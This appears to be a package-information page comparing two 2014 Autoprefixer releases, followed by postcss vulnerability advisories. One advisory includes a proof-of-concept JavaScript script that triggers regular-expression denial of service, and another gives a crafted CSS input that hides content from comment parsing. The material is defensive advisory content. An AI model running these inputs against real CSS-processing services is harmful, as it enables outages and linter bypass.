Autoprefixer is a valuable tool for web developers, designed to automatically add vendor prefixes to CSS rules, ensuring compatibility across different browsers and versions. It leverages data from the "Can I Use" website, keeping prefixing up-to-date with browser support changes. Examining versions 1.1.20140222 and 1.1.20140218 reveals subtle but important differences.
A key change lies in the postcss dependency, where the newer version upgrades from ~0.3.1 to ~0.3.2. PostCSS is a powerful tool for transforming CSS with JavaScript, and this update likely includes bug fixes, performance improvements, or new features within the PostCSS ecosystem that Autoprefixer utilizes for its core functionality. In development dependencies, browserify has a minor change moving from 3.30.1 to 3.30.2 that also has possible bug fixes or performance improvements but is only relevant while developing the Autoprefixer tool not using it.
For developers using Autoprefixer, these changes translate to potentially improved CSS processing and more accurate prefixing. While the core functionality remains the same – automatically handling vendor prefixes – the updated dependencies can lead to a smoother, more efficient development experience. Keeping abreast of these minor version updates within Autoprefixer ensures developers are utilizing the most robust and accurate prefixing solution available. Release dates show a really fast iteration between the versions from 2014-02-18 to 2014-02-22.
All the vulnerabilities related to the version 1.1.20140222 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.